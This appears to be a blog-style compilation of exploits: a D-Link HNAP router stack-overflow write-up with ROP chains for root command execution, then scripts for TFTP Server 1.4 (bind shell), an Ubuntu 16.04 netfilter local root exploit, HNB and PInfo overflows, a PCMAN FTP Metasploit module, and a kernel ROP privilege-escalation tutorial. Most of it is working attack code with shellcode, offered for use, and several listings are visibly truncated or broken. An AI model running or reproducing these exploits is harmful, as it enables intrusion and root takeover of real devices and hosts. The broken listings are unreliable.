Multiple vulnerabilities in Dlink DIR routers HNAP Login function (multiple routers affected):

Background on the affected products:

“Smartphones, laptops, tablets, phones, Smart TVs, game consoles and more – all being connected at the same time. That’s why we created the new AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to 3.2Gbps, it delivers the necessary ultra-performance to power even the most demanding connected homes, making it the best wireless home router for gaming.”


Dlink routers expose a protocol called HNAP (Home Network Administration Protocol) on the LAN interface. This is a SOAP protocol that allows identification, configuration, and management of network devices. It seems Dlink uses an implementation of this protocol to communicate with the router’s web interface over the LAN. For more information regarding HNAP, see [1] and [2].

Dlink has a long history of vulnerabilities in HNAP. Craig Heffner in particular seems to have found a lot of them (see [3], [4], [5], [6], [7], [8]).

This new vulnerability occurs in the processing of XML tags inside SOAP messages when performing the HNAP Login action. The affected function contains two subsequent stack overflows, which can be exploited by an unauthenticated attacker on the LAN. It affects a number of Dlink routers which span the ARM and MIPS architectures. A Metasploit module that exploits this vulnerability for both architectures has been released [9].

A special thanks to CERT/CC and Trent Novelly for help with disclosing this vulnerability to the vendor. Please refer to CERT’s advisory for more details [10].

Technical details:

Vulnerability: Stack buffer overflow
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below for other constraints.
Affected versions:
The following MIPS devices have been confirmed to be vulnerable:

The following ARM devices have been confirmed to be vulnerable:
DIR-868L -> Rev. B and C only

There might be other affected devices which are not listed above.

Vulnerability details and MIPS exploitation

The vulnerable function, parse_xml_value (my name, not a symbol), is called from hnap_main (a symbol in the binary) in /htdocs/cgibin.
This function takes 3 arguments: the first is the request object / string, the second is the XML tag name to be parsed inside the request, and the third is a pointer to where the value of that tag should be returned.

The function tries to find the tag name inside the request object and then extracts the tag value, copying it first to a local variable and then to the third argument. This function is called from hnap_main when performing the HNAP Login action to obtain the values of Action, Username, LoginPassword and Catpcha from the SOAP request shown above.

parse_xml_value(char* request, char* XMLtag, char* tag_value)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start, $v0, $s0 # s2 now points to <Action>$value</Action>
.text:00412268 C30 la $t9, strstr
.text:0041226C C30 move $a1, xml_tag_value_end # needle
.text:00412270 C30 jalr $t9 ; strstr
.text:00412274 C30 move $a0, xml_tag_value_start # haystack
.text:00412278 C30 lw $gp, 0xC30+var_C20($sp)
.text:0041227C C30 beqz $v0, loc_4122BC
.text:00412280 C30 subu xml_tag_value_end, $v0, xml_tag_value_start # s1 now holds the ptr to <Action>value$</Action>
.text:00412284 C30 bltz xml_tag_value_end, loc_4122BC
.text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var
.text:0041228C C30 la $t9, strncpy
.text:00412290 C30 move $a2, xml_tag_value_end # n
.text:00412294 C30 move $a1, xml_tag_value_start # src
.text:00412298 C30 addu xml_tag_value_end, $s0, xml_tag_value_end
.text:0041229C C30 jalr $t9 ; strncpy # copies all chars in <Action>$value$</Action> to xml_tag_var using strncpy
.text:004122A0 C30 move $a0, $s0 # dest
.text:004122A4 C30 move $a0, a2_ptr # a2_ptr is a stack variable from hnap_main (passed as third argument to parse_xml_value)
.text:004122A8 C30 lw $gp, 0xC30+var_C20($sp)
.text:004122AC C30 move $a1, $s0 # src
.text:004122B0 C30 la $t9, strcpy # copies xml_tag_var into a2_ptr using strcpy
.text:004122B4 C30 jalr $t9 ; strcpy # the stack of the calling function (hnap_main) is thrashed if 2408+ bytes are sent
.text:004122B8 C30 sb $zero, 0(xml_tag_value_end)

There are two overflows, therefore two choices for exploitation:
1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes. This overflow occurs even though strncpy is used, because the argument to strncpy is simply the strlen of the value inside the XML tag.
2) Alternatively, it’s possible to overrun the stack of the calling function (hnap_main), using only 2408+ bytes – this is because strcpy is used to copy the xml_tag_var onto the third argument received by parse_xml_value, which is a pointer to a stack variable in hnap_main.

Exploiting 1) is easier, and the following example will explain how.

All the affected MIPS devices use the same version of uClibc ( and seem to load it at 0x2aabe000, which makes exploitation trivial for all firmware versions. It should be noted that the MIPS devices use the RTL8881a CPU, which is based on a Lextra RLX5281 core. The Lextra RLX cores are MIPS clones, but they’re bit crippled as they are lacking a few load and store instructions. For this reason, some generic shellcodes that work on MIPS might not work on these CPUs (especially when obfuscated).

The devices also do not have NX, ASLR nor any other modern memory protections, so the shellcode is executed directly on the stack. However, it’s necessary to use ROP to prepare the stack for execution, which can be executed with gadgets taken from
Due to the way MIPS CPUs work, it’s necessary to flush the CPU cache before executing the exploit. This can be forced by calling sleep() from libc (refer to for an explanation on the MIPS CPU caches).

So the ROP chain and shellcode will look like:

first_gadget – execute sleep and call second_gadget
.text:0004EA1C move $t9, $s0 <- sleep()
.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
.text:0004EA24 li $a0, 2 <- arg for sleep()
.text:0004EA28 lw $s0, 0x20+var_8($sp)
.text:0004EA2C li $a1, 1
.text:0004EA30 move $a2, $zero
.text:0004EA34 jr $t9
.text:0004EA38 addiu $sp, 0x20

second_gadget – puts stack pointer in a1:
.text:0002468C addiu $s1, $sp, 0x58
.text:00024690 li $s0, 0x44
.text:00024694 move $a2, $s0
.text:00024698 move $a1, $s1
.text:0002469C move $t9, $s4
.text:000246A0 jalr $t9
.text:000246A4 move $a0, $s2

third_gadget – call $a1 (which now has the stack pointer):
.text:00041F3C move $t9, $a1
.text:00041F40 move $a1, $a2
.text:00041F44 addiu $a0, 8
.text:00041F48 jr $t9
.text:00041F4C nop

When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (3000+ bytes), it’s possible to jump back to xml_tag_value[0].
prep_shellcode_1 = 23bdf3c8 # addi sp,sp,-3128
prep_shellcode_2 = 03a0f809 # jalr sp
branch_delay = 2084f830 # addi a0,a0,-2000 (NOP executed as a MIPS branch delay slot)

The final Action / Username / LoginPassword / Catpcha XML parameter value will be:
shellcode + ‘a’ * (3072 – shellcode.size) + sleep() + ‘1’ * 4 + ‘2’ * 4 + ‘3’ * 4 + third_gadget + first_gadget + ‘b’ * 0x1c + second_gadget + ‘c’ * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay

‘a’, ‘b’ and ‘c’ are just fillers to make up the buffer, while ‘1111’, ‘2222’ and ‘3333’ will be the values of s1, s2 and s3 registers (which are not interesting for exploitation), and the rest is the ROP chain, shellcode and stack preparation routine. The only bad character that cannot be sent in the payload is the null byte as this is a str(n)cpy overflow. Up to 3350 characters can be sent, as after that it’s hard to control the overflow in a reliable way. Note that all of this is to exploit the first buffer overflow with strncpy, but the second buffer overflow can be exploited in a similar way.

As explained above, due to the use of a crippled MIPS core, generic shellcodes found on the Internet will likely fail. Some very simple ones work, but the best is to craft a reliable one. The simple Metasploit bind shell also seems to work pretty reliably if no encoder is used.

ARM exploitation

The same two stack overflows affect ARM, but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B):
.text:00018F34 C30 LDR R1, [R11,#src] ; src
.text:00018F38 C30 LDR R2, [R11,#n] ; n
.text:00018F3C C30 SUB R3, R11, #-xml_tag_var
.text:00018F40 C30 SUB R3, R3, #4
.text:00018F44 C30 SUB R3, R3, #4
.text:00018F48 C30 MOV R0, R3 ; dest
.text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024+ characters
.text:00018F50 C30 MOV R3, #0xFFFFFBEC
.text:00018F58 C30 LDR R2, [R11,#n]
.text:00018F5C C30 SUB R1, R11, #-var_4
.text:00018F60 C30 ADD R2, R1, R2
.text:00018F64 C30 ADD R3, R2, R3
.text:00018F68 C30 MOV R2, #0
.text:00018F6C C30 STRB R2, [R3]
.text:00018F70 C30 SUB R3, R11, #-xml_tag_var
.text:00018F74 C30 SUB R3, R3, #4
.text:00018F78 C30 SUB R3, R3, #4
.text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a stack variable from hnap_main
.text:00018F80 C30 MOV R1, R3 ; src
.text:00018F84 C30 BL strcpy ; second overflow occurs here

The stack size will be smaller for both parse_xml_value and hnap_main when compared to the MIPS binary. This time again it’s easier to exploit the easier strncpy overflow in parse_xml_value, but only 1024 bytes are enough to overflow the stack. As with the MIPS exploit, the only bad character is the null byte.

The affected ARM devices have a non-executable stack (NX) and 32 bit ASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak – there are only 3 bytes that change in the address calculations, which means there are only 4096 possible values. The attack has to be run several times until the correct base address is hit, but this can usually be achieved in less than 1000 attempts.

The easiest attack to perform is a return-to-libc to execute a command with system(). To do this, R0 must point to the stack location where the command is before system() is called. All the affected ARM devices seem to use the same version of uClibc ( for all firmware versions, which makes gadget hunting much easier and allows building an exploit that works on all the devices without any modification.

first_gadget (pops system() address into r3, and second_gadget into PC):
.text:00018298 LDMFD SP!, {R3,PC}

second_gadget (puts the stack pointer into r0 and calls system() at r3):
.text:00040CB8 MOV R0, SP
.text:00040CBC BLX R3

system() (Executes argument in r0 (our stack pointer)
.text:0005A270 system

The final Action / Username / LoginPassword / Catpcha XML parameter value will be:
‘a’ * 1024 + 0xffffffff + ‘b’ * 16 + ‘AAAA’ + first_gadget + system() + second_gadget + command

a / b = filler
0xffffffff = integer n (see below)
AAAA = R11
first_gadget = initial PC
payload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute

When the overflow happens, the stack var “n” is overwritten, which is used to calculate a memory address (see 0x18F58). In order not to crash the process before the shellcode is executed, the variable needs to be set to a numeric value that can be used to calculate a valid memory address. A good value to choose is 0xffffffff, as this will just subtract 1 from the calculated memory address and prevent an invalid memory access.

From this point onwards, it’s possible to execute any command in “payload”. For example, wget can be used to download a shell and execute it or a telnet server can be started. All commands will be executed as root.


Dlink did not respond to CERT’s requests for information, so no firmware fix is available at the time of writing.
Given that this vulnerability can only be exploited in the LAN, it is recommended to have a strong wireless password to prevent untrusted clients from connecting to the router.




TFTP Server 1.4 WRQ Buffer Overflow

Vendor Homepage:






import socket
import sys

host = ‘’
port = 69

print “socket() failed”

# msfvenom -p windows/shell_bind_tcp LHOST= -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes

shellcode = (

# PPR – 0x0040CC22 – in TFTPServerSP.exe
# 3-byte overwrite

jump_one = “\xEB\xDB\x90\x90” # negative jump back
egghunter = (“\x66\x81\xca\xff\x0f\x42\x52\x6a” #WOOT

filename = “\x90″*734 + “T00WT00W” + shellcode + “\x90″*10 + egghunter + “\x90″*10 + jump_one + “\x22\xCC\x40”

mode = “netascii”

evil = “\x00\x02” + filename + “\x00” + mode + “\x00”

print “[*] Sending evil packet, ph33r”
s.sendto(evil, (host, port))
print “[*] Check port 4444 for bindshell”

Ubuntu 16.04 local root exploit – netfilter target_offset OOB

Ubuntu 16.04 local root exploit – netfilter target_offset OOB

Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c

ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers automatic loading).

lone@ubuntu:~$ uname -a

Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
lone@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
lone@ubuntu:~$ gcc pwn.c -O2 -o pwn
lone@ubuntu:~$ ./decr netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by Lone Ranger
[!] Decrementing the refcount. This may take a while…
[!] Wait for the “Done” message (even if you’ll get the prompt back).
lone@ubuntu:~$ [+] Done! Now run ./pwn

lone@ubuntu:~$ ./pwn
[+] Escalating privs…
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MALLOC_SIZE 66*1024

int check_smaep() {
FILE *proc_cpuinfo;
char fbuf[512];

proc_cpuinfo = fopen(“/proc/cpuinfo”, “r”);

if (proc_cpuinfo < 0) {
return -1;

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
if (strlen(fbuf) == 0)

if (strstr(fbuf, “smap”) || strstr(fbuf, “smep”)) {
return -1;

return 0;

int check_mod() {
FILE *proc_modules;
char fbuf[256];

proc_modules = fopen(“/proc/modules”, “r”);

if (proc_modules < 0) {
return -1;

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 256, proc_modules) != NULL) {
if (strlen(fbuf) == 0)

if (!strncmp(“ip_tables”, fbuf, 9)) {
return 0;

return -1;

int decr(void *p) {
int sock, optlen;
int ret;
void *data;
struct ipt_replace *repl;
struct ipt_entry *entry;
struct xt_entry_match *ematch;
struct xt_standard_target *target;
unsigned i;

sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock == -1) {
return -1;

data = malloc(MALLOC_SIZE);

if (data == NULL) {
return -1;

memset(data, 0, MALLOC_SIZE);

repl = (struct ipt_replace *) data;
repl->num_entries = 1;
repl->num_counters = 1;
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
repl->valid_hooks = 0;

entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
entry->target_offset = 74; // overwrite target_offset
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

strcpy(ematch->, “icmp”);
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
uint64_t *me = (uint64_t *)(kmatch + 0x58);
*me = 0xffffffff821de10d; // magic number!

uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
*match = (uint32_t)kmatch;

ematch->u.match_size = (short)0xffff;

target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
uint32_t *t = (uint32_t *)target;
*t = (uint32_t)kmatch;

printf(“[!] Decrementing the refcount. This may take a while…\n”);
printf(“[!] Wait for the “Done” message (even if you’ll get the prompt back).\n”);

for (i = 0; i < 0xffffff/2+1; i++) {
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);

printf(“[+] Done! Now run ./pwn\n”);

return 0;

int main(void) {
void *stack;
int ret;

printf(“netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by Lone Ranger\n”);
if (check_mod()) {
printf(“[-] No ip_tables module found! Quitting…\n”);
return -1;

if (check_smaep()) {
printf(“[-] SMEP/SMAP support dectected! Quitting…\n”);
return -1;

ret = unshare(CLONE_NEWUSER);

if (ret == -1) {
return -1;

stack = (void *) malloc(65536);

if (stack == NULL) {
return -1;

clone(decr, stack + 65536, CLONE_NEWNET, NULL);


return 0;

————————————————— pwn.c —————————————————

* Run ./decr first!
* 02/07/2016
* – Lone Ranger
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>

#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);

void __attribute__((regparm(3))) privesc() {
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;

int main() {
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
assert(payload == (void *)MMAP_ADDR);

void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);

memset(shellcode, 0, 0x300000);

void *ret = memcpy(shellcode, &privesc, 0x300);
assert(ret == shellcode);

printf(“[+] Escalating privs…\n”);

int fd = open(“/dev/ptmx”, O_RDWR);


printf(“[+] We’ve got root!”);

return execl(“/bin/bash”, “-sh”, NULL);

HNB 1.9.18-10 Buffer Overflow

# Program description:

Hnb is an ncurses program to organize many kinds of data in one place, for example addresses, todo lists, ideas, book reviews or to store snippets of brainstorming.

# Kali Linux 2.0 package:


# Website:

# gdb$ run -rc `python -c ‘print “A”*108’`
# Starting program: /usr/bin/hnb -rc `python -c ‘print “A”*108’`
# *** buffer overflow detected ***: /usr/bin/hnb terminated

# ======= Backtrace: =========

# /lib/i386-linux-gnu/i686/cmov/[0xb7e14773]
# /lib/i386-linux-gnu/i686/cmov/[0xb7ea4b85]
# /lib/i386-linux-gnu/i686/cmov/[0xb7ea2c3a]
# /lib/i386-linux-gnu/i686/cmov/[0xb7ea2127]
# /usr/bin/hnb[0x8049669]
# /lib/i386-linux-gnu/i686/cmov/[0xb7dc1a63]
# /usr/bin/hnb[0x804a2d9]
# ======= Memory map: ========
# 08048000-0806e000 r-xp 00000000 08:01 2253992 /usr/bin/hnb
# 0806e000-0806f000 r–p 00025000 08:01 2253992 /usr/bin/hnb
# 0806f000-08070000 rw-p 00026000 08:01 2253992 /usr/bin/hnb
# 08070000-080b1000 rw-p 00000000 00:00 0 [heap]

import os, subprocess

def run():
print “# HNB Organizer – Local Buffer Overflow by Juan Sacco”
print “# This Exploit has been developed using Exploit Pack”

buffersize = 108
nopsled = “\x90″*40
shellcode =”\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”
eip = “\x40\xf3\xff\xbf”
buffer = nopsled * (buffersize-len(shellcode)) + eip[“hnb -rc”,’ ‘, buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print “Sorry, HNB File Viewer – Not found!”
print “Error executing exploit”

def howtousage():
print “Snap! Something went wrong”

if __name__ == ‘__main__’:
print “Exploit HNB 1.9.18-10 Local Overflow Exploit”
print “Author: Juan Sacco – Exploit Pack”
except IndexError:

Exploit Code By Juan Sacoo

I Hope I am Explaining All In A Manner So If You Like Just Remember Me In You Prayer, I’m Your’s One And Only Lone Ranger 🙂

PInfo 0.6.9-5.1 Buffer Overflow

# Program description:

An alternative info-file viewer

# pinfo:

pinfo is an viewer for Info documents, which is based on ncurses.

# Kali Linux 2.0 package:


# Website:


$ run -m `python -c ‘print “A”*564+”DCBA”‘`


Program received signal SIGSEGV, Segmentation fault.

# ————————————————————————–[regs]

# EAX: 0x00000002 EBX: 0xB7F0B000 ECX: 0x00004554 EDX: 0x00000100 o d I t s z a P c
# ESI: 0x41424344 EDI: 0x00004554 EBP: 0xBFFFF4A4 ESP: 0xBFFFEF30 EIP: 0xB7D92832
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

# ————————————————————————–

# => 0xb7d92832 <__GI_getenv+114>: cmp di,WORD PTR [esi]
# 0xb7d92835 <__GI_getenv+117>: jne 0xb7d92828 <__GI_getenv+104>
# 0xb7d92837 <__GI_getenv+119>: mov eax,DWORD PTR [esp+0x14]
# 0xb7d9283b <__GI_getenv+123>: mov DWORD PTR [esp+0x8],eax
# 0xb7d9283f <__GI_getenv+127>: mov eax,DWORD PTR [esp+0x18]
# 0xb7d92843 <__GI_getenv+131>: mov DWORD PTR [esp+0x4],eax
# 0xb7d92847 <__GI_getenv+135>: lea eax,[esi+0x2]
# 0xb7d9284a <__GI_getenv+138>: mov DWORD PTR [esp],eax

# --------------------------------------------------------------------------------

# gdb$ x/100x $esp
# 0xbffff250: 0xbffff49c 0x00000003 0x00000001 0x00000002
# 0xbffff260: 0xb7d6ebf8 0xb7fe78bd 0xb7d74ffd 0x41049384
# 0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141

import os, subprocess

def run():
print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"

buffersize = 564
nopsled = "\x90"*200
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x40\xf3\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip["pinfo -m",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, PInfo File Viewer - Not found!"
print "Error executing exploit"

def howtousage():
print "Snap! Something went wrong"

if __name__ == '__main__':
print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:

# --------------------------------------------------------------------------------

Exploit Code By Juan Sacoo

I Hope You May Like My Work 🙂 Stay Tune For More... I Am One And Only Your Awesome Lone Ranger... 🙂

PCMAN FTP Server 2.0.7 ls Buffer Overflow


This is another bug of pcmanftp which can be used to get a remote shell,and fits well with win7x64 with dep open

use anonymous and any password to login the ftp remotely,then send a command “ls AAA…A”(9000),the pcmanftp will crashed,later,find the 2009-2012th “A” will replace the pcmanftp’s retn address

# This module requires Metasploit:
# Current source:

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
‘Name’ => ‘PCMAN FTP Server Buffer Overflow – ls Command’,
‘Description’ => %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
‘Author’ =>
‘License’ => MSF_LICENSE,
‘References’ =>
[ ‘EDB’, ‘39662’],
[ ‘OSVDB’, ‘N/A’]
‘DefaultOptions’ =>
‘EXITFUNC’ => ‘process’
‘Payload’ =>
‘Space’ => 1000,
‘BadChars’ => “\x00\x0A\x0D”,
‘Platform’ => ‘win’,
‘Targets’ =>
[ ‘windows 7 x64 chinese’,
#’Ret’ => 0x77636aeb, #dont need ret here in win7
‘Offset’ => 2008
‘DisclosureDate’ => ‘Aug 07 2015’,
‘DefaultTarget’ => 0))

def check

if /220 PCMan’s FTP Server 2.0/ === banner

def create_rop_chain()
# rop chain generated with –
rop_gadgets =
0x77032c3b, # POP EAX # RETN [kernel32.dll]
0x41414141, # add a 4 bytes data to fit retn 0x4 from the last function’s retn before eip=rop_gadgets
0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll]
0x76bb4412, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll]
0x76408d2a, # XCHG EAX,ESI # RETN [SHLWAPI.dll]
0x76b607f0, # POP EBP # RETN [msvcrt.dll]
0x74916f14, # & push esp # ret [RICHED20.dll]
0x7368b031, # POP EAX # RETN [COMCTL32.dll]
0xfffffaff, # Value to negate, will become 0x00000201
0x756c9a5c, # NEG EAX # RETN [SHELL32.dll]
0x767088bd, # XCHG EAX,EBX # RETN [RPCRT4.dll]
0x77031d7b, # POP EAX # RETN [kernel32.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x76cc4402, # NEG EAX # RETN [SHELL32.dll]
0x76b4ad98, # XCHG EAX,EDX # RETN [SHELL32.dll]
0x756b1cc1, # POP ECX # RETN [SHELL32.dll]
0x7647c663, # &Writable location [USP10.dll]
0x73756cf3, # POP EDI # RETN [COMCTL32.dll]
0x76cc4404, # RETN (ROP NOP) [USER32.dll]
0x76b3f5d4, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x7366e16f, # PUSHAD # RETN [COMCTL32.dll]


return rop_gadgets


def exploit

print_status(‘Generating payload…’)
sploit = rand_text_alpha(target[‘Offset’])

#tmp = sploit
sploit << create_rop_chain()
#sploit << make_nops(9) 这句产生的nop并非90
sploit << “\x90″*30
#sploit << “\x41″*30
#sploit << “\xcc”
sploit << payload.encoded


send_cmd( [“ls”, sploit], false )


Linux Kernel ROP – Ropping your way to # (Part 1)

Kernel ROP

In-kernel ROP (Return Oriented Programming) is a useful technique that is often used to bypass restrictions associated with non-executable memory regions. For example, on default kernels, it presents a practical approach for bypassing kernel and user address separation mitigations such as SMEP (Supervisor Mode Execution Protection) on recent Intel CPUs.

The goal of this tutorial is to demonstrate how a kernel ROP chain can be constructed to elevate user privileges. As the outcome, the following requirements need to be satisfied:

  • Execute a privilege escalation payload
  • Data residing in user space may be referenced (i.e., “fetching” data from user space is allowed)
  • Instructions residing in user space may not be executed

In typical ret2usr attacks, the kernel execution flow is redirected to a user-space address containing the privilege escalation payload:

void __attribute__((regparm(3))) payload() {

The above privilege escalation payload allocates a new credential struct (with uid = 0, gid = 0, etc.) and applies it to the calling process. We can construct a ROP chain that will perform the above operations without executing any instructions residing in user space, i.e., without setting the program counter to any user-space memory addresses. The end goal is to execute the entire privilege escalation payload in kernel space using a ROP chain. This is may not be required in practice, however. For example, in order to bypass SMEP, it is sufficient to flip the SMEP bit using a ROP chain and then a standard privilege escalation payload can be executed in user space.

The ROP chain based on the above payload should look similar to the following:


Using the x86_64 calling convention, the first argument to a function is passed in the %rdi register. Hence, the first instruction in the ROP chain pops the null value off the stack. This value is then passed as the first argument to prepare_kernel_cred(). A pointer to the new cred struct will be stored in %rax which can then be moved to %rdiagain and passed as the first argument to commit_creds(). For now, we have deliberately skipped some details regarding returning to user space once the credentials are applied. We will discuss these details later in the “Fixating” section in Part 2 of this tutorial.

In this part, we will discuss how to find useful gadgets and construct a privilege escalation ROP chain. We will then describe the vulnerable driver code that is later used (in Part 2 of this tutorial) to demonstrate the ROP chain in practice.

Test System

For the rest of this tutorial, we will be using Ubuntu 12.04.5 LTS (x64) with the following stock kernel:

lone@LoneRanger:~$ uname -a
Linux ubuntu 3.13.0-32-generic #57~precise1-Ubuntu SMP Thu Jul 23 03:51:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

If you would like to follow along and use the same kernel, all the addresses of ROP gadgets should be identical to ours.


Similar to user-space applications, ROP gadgets can be simply extracted from the kernel binary. However, we need to consider the following:

  1. We need the ELF (vmlinux) image to extract gadgets from. If we are using the /boot/vmlinuz* image, it needs to be decompressed first, and
  2. A tool specifically designed for extracting ROP gadgets is preferred.

/boot/vmlinuz* is a compressed kernel image (various compression algorithms are used). It can be extracted using the extract-vmlinux script located in the kernel tree.

lone@LoneRanger:~$ sudo file /boot/vmlinuz-4.2.0-16-generic 
/boot/vmlinuz-4.2.0-16-generic: Linux kernel x86 boot executable bzImage, version 4.2.0-16-generic (buildd@lcy01-07) #19-Ubuntu SMP Thu Oct 8 15:, RO-rootFS, swap_dev 0x6, Normal VGA
lone@LoneRanger:~$ sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux
lone@LoneRanger:~$ file vmlinux 
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=0x32143d561875c4e5f3229003aca99c880e2bedb2, stripped

ROP techniques take advantage of code misalignment to identify new gadgets. This is possible due to x86 language density, i.e., the x86 instruction set is large enough (and instructions have different lengths), that almost any sequence of bytes can be interpreted as a valid instruction. For example, depending on the offset, the following instructions can be interpreted differently (note that the second instruction represents a useful stack pivot):

0f 94 c3; sete   %bl
   94 c3; xchg eax, esp; ret

Simply running objdump against the uncompressed kernel image and then grepping for gadgets, will only produce a small subset of all available gadgets (since we are working with aligned addresses only). It is worth mentioning that in a majority of cases, however, this is sufficient to find the required gadgets.

A more efficient approach is to use a tool specifically designed for identifying gadgets in ELF binaries. For example, ROPgadget can be used to identify all available gadgets:

lone@LoneRanger:~/ROPgadget$ ./ --binary ./vmlinux > ~/ropgadget 
lone@LoneRanger:~/ROPgadget$ tail ~/ropgadget 
Gadgets information
0xffffffff810c108c : adc ah, ah ; add byte ptr [rax - 0x77], cl ; ret
0xffffffff81054c3a : adc ah, ah ; xor al, byte ptr [rax] ; pop rbp ; ret
0xffffffff815abb0a : adc ah, al ; lcall ptr [rbx + 0x41] ; pop rsp ; xor eax, eax ; pop rbp ; ret
0xffffffff81b0d595 : adc ah, al ; ljmp ptr [rcx + rax*4 - 9] ; call rax
0xffffffff8112fc05 : adc ah, bh ; add byte ptr [rax - 0x77], cl ; in eax, 0x5d ; ret
0xffffffff811965e9 : adc ah, bh ; lcall ptr [rbx + 0x41] ; pop rsp ; xor eax, eax ; pop rbp ; ret
0xffffffff81495bba : adc ah, bh ; mov esi, 0xc7c748ff ; loopne 0xffffffff81495c47 ; retf -0x177f
0xffffffff8158fb9a : adc ah, bl ; loopne 0xffffffff8158fba4 ; xor eax, eax ; pop rbp ; re

Note that the Intel syntax is used the ROPgadget tool. Now we can search for the ROP gadgets listed in our privilege escalaltion ROP chain. The first gadget we need is pop %rdi; ret:

vnik@ubuntu:~$ grep  ': pop rdi ; ret' ropgadget  
0xffffffff810c9ebd : pop rdi ; ret

Obviously any of the gadgets above can be used. However, if we do decide to use one of the gadgets followed by ret [some_num], we will need to construct our ROP chain accordingly, taking into account the fact that the stack pointer will be incremented (remember the stack grows towards lower memory addresses) by [some_num]. We will demonstrate this in practice in Part 2 of this tutorial. Note that a gadget may be located in a non-executable page. In this case, an alternative gadget must be found.

There are no gadgets mov %rax, %rdi; ret in the test kernel. However, there are several gadgets for mov %rax, %rdi followed by a call instruction:

0xffffffff8143ae19 : mov rdi, rax ; call r12
0xffffffff81636240 : mov rdi, rax ; call r14
0xffffffff811b22c2 : mov rdi, rax ; call r15
0xffffffff810d7f63 : mov rdi, rax ; call r8
0xffffffff81184c73 : mov rdi, rax ; call r9
0xffffffff815b4593 : mov rdi, rax ; call rbx
